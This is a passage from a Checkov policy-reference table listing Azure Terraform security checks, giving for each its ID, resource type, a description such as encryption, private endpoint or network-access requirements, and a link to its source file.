[SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceAdministratorLoginPasswordHidden.py) | | 3978 | CKV_AZURE_240 | resource | azurerm_synapse_workspace | Ensure Azure Synapse Workspace is encrypted with a CMK | Terraform | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceCMKEncryption.py) | | 3979 | CKV_AZURE_241 | resource | azurerm_synapse_sql_pool | Ensure Synapse SQL pools are encrypted | Terraform | [SynapseSQLPoolDataEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseSQLPoolDataEncryption.py) | | 3980 | CKV_AZURE_242 | resource | azurerm_synapse_spark_pool | Ensure isolated compute is enabled for Synapse Spark pools | Terraform | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSparkPoolIsolatedComputeEnabled.py) | | 3981 | CKV_AZURE_244 | resource | azurerm_storage_account | Avoid the use of local users for Azure Storage unless necessary | Terraform | [StorageLocalUsers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageLocalUsers.py) | | 3982 | CKV_AZURE_245 | resource | azurerm_container_group | Ensure that Azure Container group is deployed into virtual network | Terraform | [AzureContainerInstancePublicIPAddressType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerInstancePublicIPAddressType.py) | | 3983 | CKV_AZURE_246 | resource | azurerm_kubernetes_cluster | Ensure Azure AKS cluster HTTP application routing is disabled | Terraform | [KubernetesClusterHTTPApplicationRouting.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KubernetesClusterHTTPApplicationRouting.py) | | 3984 | CKV_AZURE_247 | resource | azurerm_cognitive_account | Ensure that Azure Cognitive Services account hosted with OpenAI is configured with data loss prevention | Terraform | [OpenAICognitiveServicesRestrictOutboundNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/OpenAICognitiveServicesRestrictOutboundNetwork.py) | | 3985 | CKV_AZURE_248 | resource | azurerm_batch_account | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny' | Terraform | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureBatchAccountEndpointAccessDefaultAction.py) | | 3986 | CKV_AZURE_249 | resource | azuread_application_federated_identity_credential | Ensure Azure GitHub Actions OIDC trust policy is configured securely | Terraform | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/GithubActionsOIDCTrustPolicy.py) | | 3987 | CKV_AZURE_250 | resource | azurerm_storage_sync | Ensure Storage Sync Service is not configured with overly permissive network access | Terraform | [StorageSyncServicePermissiveAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageSyncServicePermissiveAccess.py) | | 3988 | CKV_AZURE_251 | resource | azurerm_managed_disk | Ensure Azure Virtual Machine disks are configured without public network access | Terraform | [VMDiskWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDiskWithPublicAccess.py) | | 3989 | CKV2_AZURE_1 | resource | azurerm_storage_account | Ensure storage for critical data are encrypted with Customer Managed Key | Terraform | [StorageCriticalDataEncryptedCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageCriticalDataEncryptedCMK.yaml) | | 3990 | CKV2_AZURE_2 | resource | azurerm_mssql_server | Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account | Terraform | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml) | | 3991 | CKV2_AZURE_2 | resource | azurerm_mssql_server_security_alert_policy | Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account | Terraform | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml) | | 3992 | CKV2_AZURE_2 | resource | azurerm_sql_server | Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account | Terraform | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml) | | 3993 | CKV2_AZURE_3 | resource | azurerm_mssql_server | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml) | | 3994 | CKV2_AZURE_3 | resource | azurerm_mssql_server_security_alert_policy | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml) | | 3995 | CKV2_AZURE_3 | resource | azurerm_mssql_server_vulnerability_assessment | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml) | | 3996 | CKV2_AZURE_3 | resource | azurerm_sql_server | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml) | | 3997 | CKV2_AZURE_4 | resource | azurerm_mssql_server | Ensure Azure SQL server ADS VA Send scan reports to is configured | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml) | | 3998 | CKV2_AZURE_4 | resource | azurerm_mssql_server_security_alert_policy | Ensure Azure SQL server ADS VA Send scan reports to is configured | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml) | | 3999 | CKV2_AZURE_4 | resource | azurerm_mssql_server_vulnerability_assessment | Ensure Azure SQL server ADS VA Send scan reports to is configured | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml) | | 4000 | CKV2_AZURE_4 | resource | azurerm_sql_server | Ensure Azure SQL server ADS VA Send scan reports to is configured | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml) | | 4001 | CKV2_AZURE_5 | resource | azurerm_mssql_server | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml) | | 4002 | CKV2_AZURE_5 | resource | azurerm_mssql_server_security_alert_policy | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml) | | 4003 | CKV2_AZURE_5 | resource | azurerm_mssql_server_vulnerability_assessment | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml) | | 4004 | CKV2_AZURE_5 | resource | azurerm_sql_server | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml) | | 4005 | CKV2_AZURE_6 | resource | azurerm_sql_firewall_rule | Ensure 'Allow access to Azure services' for PostgreSQL Database Server is disabled | Terraform | [AccessToPostgreSQLFromAzureServicesIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AccessToPostgreSQLFromAzureServicesIsDisabled.yaml) | | 4006 | CKV2_AZURE_6 | resource | azurerm_sql_server | Ensure 'Allow access to Azure services' for PostgreSQL Database Server is disabled | Terraform | [AccessToPostgreSQLFromAzureServicesIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AccessToPostgreSQLFromAzureServicesIsDisabled.yaml) | | 4007 | CKV2_AZURE_7 | resource | azurerm_sql_server | Ensure that Azure Active Directory Admin is configured | Terraform | [AzureActiveDirectoryAdminIsConfigured.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureActiveDirectoryAdminIsConfigured.yaml) | | 4008 | CKV2_AZURE_8 | resource | azurerm_monitor_activity_log_alert | Ensure the storage container storing the activity logs is not publicly accessible | Terraform | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml) | | 4009 | CKV2_AZURE_8 | resource | azurerm_storage_account | Ensure the storage container storing the activity logs is not publicly accessible | Terraform | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml) | | 4010 | CKV2_AZURE_8 | resource | azurerm_storage_container | Ensure the storage container storing the activity logs is not publicly accessible | Terraform | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml) | | 4011 | CKV2_AZURE_9 | resource | azurerm_virtual_machine | Ensure Virtual Machines are utilizing Managed Disks | Terraform | [VirtualMachinesUtilizingManagedDisks.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VirtualMachinesUtilizingManagedDisks.yaml) | | 4012 | CKV2_AZURE_10 | resource | azurerm_virtual_machine | Ensure that Microsoft Antimalware is configured to automatically updates for Virtual Machines | Terraform | [AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml) | | 4013 | CKV2_AZURE_10 | resource | azurerm_virtual_machine_extension | Ensure that Microsoft Antimalware is configured to automatically updates for Virtual Machines | Terraform | [AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml) | | 4014 | CKV2_AZURE_11 | resource | azurerm_kusto_cluster | Ensure that Azure Data Explorer encryption at rest uses a customer-managed key | Terraform | [DataExplorerEncryptionUsesCustomKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/DataExplorerEncryptionUsesCustomKey.yaml) | | 4015 | CKV2_AZURE_12 | resource | azurerm_virtual_machine | Ensure that virtual machines are backed up using Azure Backup | Terraform | [VMHasBackUpMachine.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VMHasBackUpMachine.yaml) | | 4016 | CKV2_AZURE_13 | resource | azurerm_mssql_server_security_alert_policy | Ensure that sql servers enables data security policy | Terraform | [AzureMSSQLServerHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLServerHasSecurityAlertPolicy.yaml) | | 4017 | CKV2_AZURE_13 | resource | azurerm_sql_server | Ensure that sql servers enables data security policy | Terraform | [AzureMSSQLServerHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLServerHasSecurityAlertPolicy.yaml) | | 4018 | CKV2_AZURE_14 | resource | azurerm_managed_disk | Ensure that Unattached disks are encrypted | Terraform | [AzureUnattachedDisksAreEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureUnattachedDisksAreEncrypted.yaml) | | 4019 | CKV2_AZURE_14 | resource | azurerm_virtual_machine | Ensure that Unattached disks are encrypted | Terraform | [AzureUnattachedDisksAreEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureUnattachedDisksAreEncrypted.yaml) | | 4020 | CKV2_AZURE_15 | resource | azurerm_data_factory | Ensure that Azure data factories are encrypted with a customer-managed key | Terraform | [AzureDataFactoriesEncryptedWithCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureDataFactoriesEncryptedWithCustomerManagedKey.yaml) | | 4021 | CKV2_AZURE_16 | resource | azurerm_mysql_server | Ensure that MySQL server enables customer-managed key for encryption | Terraform | [MSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/MSQLenablesCustomerManagedKey.yaml) | | 4022 | CKV2_AZURE_16 | resource | azurerm_mysql_server_key | Ensure that MySQL server enables customer-managed key for encryption | Terraform | [MSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/MSQLenablesCustomerManagedKey.yaml) | | 4023 | CKV2_AZURE_17 | resource | azurerm_postgresql_server | Ensure that PostgreSQL server enables customer-managed key for encryption | Terraform | [PGSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/PGSQLenablesCustomerManagedKey.yaml) | | 4024 | CKV2_AZURE_17 | resource | azurerm_postgresql_server_key | Ensure that PostgreSQL server enables customer-managed key for encryption | Terraform | [PGSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/PGSQLenablesCustomerManagedKey.yaml) | | 4025 | CKV2_AZURE_19 | resource | azurerm_synapse_workspace | Ensure that Azure Synapse workspaces have no IP firewall rules attached | Terraform | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.yaml) | | 4026 | CKV2_AZURE_20 | resource | azurerm_log_analytics_storage_insights | Ensure Storage logging is enabled for Table service for read requests | Terraform | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml) | | 4027 | CKV2_AZURE_20 | resource | azurerm_storage_account | Ensure Storage logging is enabled for Table service for read requests | Terraform | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml) | | 4028 | CKV2_AZURE_20 | resource | azurerm_storage_table | Ensure Storage logging is enabled for Table service for read requests | Terraform | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml) | | 4029 | CKV2_AZURE_21 | resource | azurerm_log_analytics_storage_insights | Ensure Storage logging is enabled for Blob service for read requests | Terraform | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml) | | 4030 | CKV2_AZURE_21 | resource | azurerm_storage_account | Ensure Storage logging is enabled for Blob service for read requests | Terraform | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml) | | 4031 | CKV2_AZURE_21 | resource | azurerm_storage_container | Ensure Storage logging is enabled for Blob service for read requests | Terraform | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml) | | 4032 | CKV2_AZURE_22 | resource | azurerm_cognitive_account | Ensure that Cognitive Services enables customer-managed key for encryption | Terraform | [CognitiveServicesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/CognitiveServicesCustomerManagedKey.yaml) | | 4033 | CKV2_AZURE_22 | resource | azurerm_cognitive_account_customer_managed_key | Ensure that Cognitive Services enables customer-managed key for encryption | Terraform | [CognitiveServicesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/CognitiveServicesCustomerManagedKey.yaml) | | 4034 | CKV2_AZURE_23 | resource | azurerm_spring_cloud_service | Ensure Azure spring cloud is configured with Virtual network (Vnet) | Terraform | [AzureSpringCloudConfigWithVnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudConfigWithVnet.yaml) | | 4035 | CKV2_AZURE_24 | resource | azurerm_automation_account | Ensure Azure automation account does NOT have overly permissive network access | Terraform | [AzureAutomationAccNotOverlyPermissiveNetAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAutomationAccNotOverlyPermissiveNetAccess.yaml) | | 4036 | CKV2_AZURE_25 | resource | azurerm_mssql_database | Ensure Azure SQL database Transparent Data Encryption (TDE) is enabled | Terraform | [AzureSqlDbEnableTransparentDataEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSqlDbEnableTransparentDataEncryption.yaml) | | 4037 | CKV2_AZURE_26 | resource | azurerm_postgresql_flexible_server_firewall_rule | Ensure Azure PostgreSQL Flexible server is not configured with overly permissive network access | Terraform | [AzurePostgreSQLFlexServerNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexServerNotOverlyPermissive.yaml) | | 4038 | CKV2_AZURE_27 | resource | azurerm_mssql_server | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL) | Terraform | [AzureConfigMSSQLwithAD.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureConfigMSSQLwithAD.yaml) | | 4039 | CKV2_AZURE_28 | resource | azurerm_container_group | Ensure Container Instance is configured with managed identity | Terraform | [AzureContainerInstanceconfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureContainerInstanceconfigManagedIdentity.yaml) | | 4040 | CKV2_AZURE_29 | resource | azurerm_kubernetes_cluster | Ensure AKS cluster has Azure CNI networking enabled | Terraform | [AzureAKSclusterAzureCNIEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAKSclusterAzureCNIEnabled.yaml) | | 4041 | CKV2_AZURE_30 | resource | azurerm_container_registry_webhook | Ensure Azure Container Registry (ACR) has HTTPS enabled for webhook | Terraform | [AzureACR_HTTPSwebhook.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureACR_HTTPSwebhook.yaml) | | 4042 | CKV2_AZURE_31 | resource | azurerm_subnet | Ensure VNET subnet is configured with a Network Security Group (NSG) | Terraform | [AzureSubnetConfigWithNSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSubnetConfigWithNSG.yaml) | | 4043 | CKV2_AZURE_32 | resource | azurerm_key_vault | Ensure private endpoint is configured to key vault | Terraform | [AzureKeyVaultConfigPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureKeyVaultConfigPrivateEndpoint.yaml) | | 4044 | CKV2_AZURE_33 | resource | azurerm_storage_account | Ensure storage account is configured with private endpoint | Terraform | [AzureStorageAccConfigWithPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithPrivateEndpoint.yaml) | | 4045 | CKV2_AZURE_34 | resource | azurerm_mssql_firewall_rule | Ensure Azure SQL server firewall is not overly permissive | Terraform | [AzureSQLserverNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSQLserverNotOverlyPermissive.yaml) | | 4046 | CKV2_AZURE_34 | resource | azurerm_sql_firewall_rule | Ensure Azure SQL server firewall is not overly permissive | Terraform | [AzureSQLserverNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSQLserverNotOverlyPermissive.yaml) | | 4047 | CKV2_AZURE_35 | resource | azurerm_recovery_services_vault | Ensure Azure recovery services vault is configured with managed identity | Terraform | [AzureRecoveryServicesvaultConfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureRecoveryServicesvaultConfigManagedIdentity.yaml) | | 4048 | CKV2_AZURE_36 | resource | azurerm_automation_account | Ensure Azure automation account is configured with managed identity | Terraform | [AzureAutomationAccConfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAutomationAccConfigManagedIdentity.yaml) | | 4049 | CKV2_AZURE_37 | resource | azurerm_mariadb_server | Ensure Azure MariaDB server is using latest TLS (1.2) | Terraform | [AzureMariaDBserverUsingTLS_1_2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverUsingTLS_1_2.yaml) | | 4050 | CKV2_AZURE_38 | resource | azurerm_storage_account | Ensure soft-delete is enabled on Azure storage account | Terraform | [AzureStorageAccountEnableSoftDelete.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccountEnableSoftDelete.yaml) | | 4051 | CKV2_AZURE_39 | resource | azurerm_linux_virtual_machine | Ensure Azure VM is not configured with public IP and serial console access | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml) | | 4052 | CKV2_AZURE_39 | resource | azurerm_network_interface | Ensure Azure VM is not configured with public IP and serial console access | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml) | | 4053 | CKV2_AZURE_39 | resource | azurerm_virtual_machine | Ensure Azure VM is not configured with public IP and serial console access | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml) | | 4054 | CKV2_AZURE_39 | resource | azurerm_windows_virtual_machine | Ensure Azure VM is not configured with public IP and serial console access | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml) | | 4055 | CKV2_AZURE_40 | resource | azurerm_storage_account | Ensure storage account is not configured with Shared Key authorization | Terraform | [AzureStorageAccConfigSharedKeyAuth.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigSharedKeyAuth.yaml) | | 4056 | CKV2_AZURE_41 | resource | azurerm_storage_account | Ensure storage account is configured with SAS expiration policy | Terraform | [AzureStorageAccConfig_SAS_expirePolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfig_SAS_expirePolicy.yaml) | | 4057 | CKV2_AZURE_42 | resource | azurerm_postgresql_server | Ensure Azure PostgreSQL server is configured with private endpoint | Terraform | [AzurePostgreSQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLserverConfigPrivEndpt.yaml) | | 4058 | CKV2_AZURE_43 | resource | azurerm_mariadb_server | Ensure Azure MariaDB server is configured with private endpoint | Terraform | [AzureMariaDBserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverConfigPrivEndpt.yaml) | | 4059 | CKV2_AZURE_44 | resource | azurerm_mysql_server | Ensure Azure MySQL server is configured with private endpoint | Terraform | [AzureMySQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMySQLserverConfigPrivEndpt.yaml) | | 4060 | CKV2_AZURE_45 | resource | azurerm_mssql_server | Ensure Microsoft SQL server is configured with private endpoint | Terraform | [AzureMSSQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLserverConfigPrivEndpt.yaml) | | 4061 | CKV2_AZURE_46 | resource | azurerm_synapse_workspace_security_alert_policy | Ensure that Azure Synapse Workspace vulnerability assessment is enabled | Terraform | [AzureSynapseWorkspaceVAisEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspaceVAisEnabled.yaml) | | 4062 | CKV2_AZURE_46 | resource | azurerm_synapse_workspace_vulnerability_assessment | Ensure that Azure Synapse Workspace vulnerability assessment is enabled | Terraform | [AzureSynapseWorkspaceVAisEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspaceVAisEnabled.yaml) | | 4063 | CKV2_AZURE_47 | resource | azurerm_storage_account | Ensure storage account is configured without blob anonymous access | Terraform | [AzureStorageAccConfigWithoutBlobAnonymousAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithoutBlobAnonymousAccess.yaml) | | 4064 | CKV2_AZURE_48 | resource | azurerm_databricks_workspace | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption | Terraform | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.yaml) | | 4065 | CKV2_AZURE_49 | resource | azurerm_machine_learning_workspace | Ensure that Azure Machine learning workspace is not configured with overly permissive network access | Terraform | [AzureMLWorkspacePublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspacePublicNetwork.yaml) | | 4066 | CKV2_AZURE_50 | resource | azurerm_machine_learning_workspace | Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible | Terraform | [AzureMLWorkspaceHBIPublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspaceHBIPublicNetwork.yaml) | | 4067 | CKV2_AZURE_50 | resource | azurerm_storage_account | Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible | Terraform | [AzureMLWorkspaceHBIPublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspaceHBIPublicNetwork.yaml) | | 4068 | CKV2_AZURE_51 | resource | azurerm_synapse_sql_pool | Ensure Synapse SQL Pool has a security alert policy | Terraform | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasSecurityAlertPolicy.yaml) | | 4069 | CKV2_AZURE_51 | resource | azurerm_synapse_sql_pool_security_alert_policy | Ensure Synapse SQL Pool has a security alert policy | Terraform | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasSecurityAlertPolicy.yaml) | | 4070 | CKV2_AZURE_52 | resource | azurerm_synapse_sql_pool | Ensure Synapse SQL Pool has vulnerability assessment attached | Terraform | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 4071 | CKV2_AZURE_52 | resource | azurerm_synapse_sql_pool_security_alert_policy | Ensure Synapse SQL Pool has vulnerability assessment attached | Terraform | 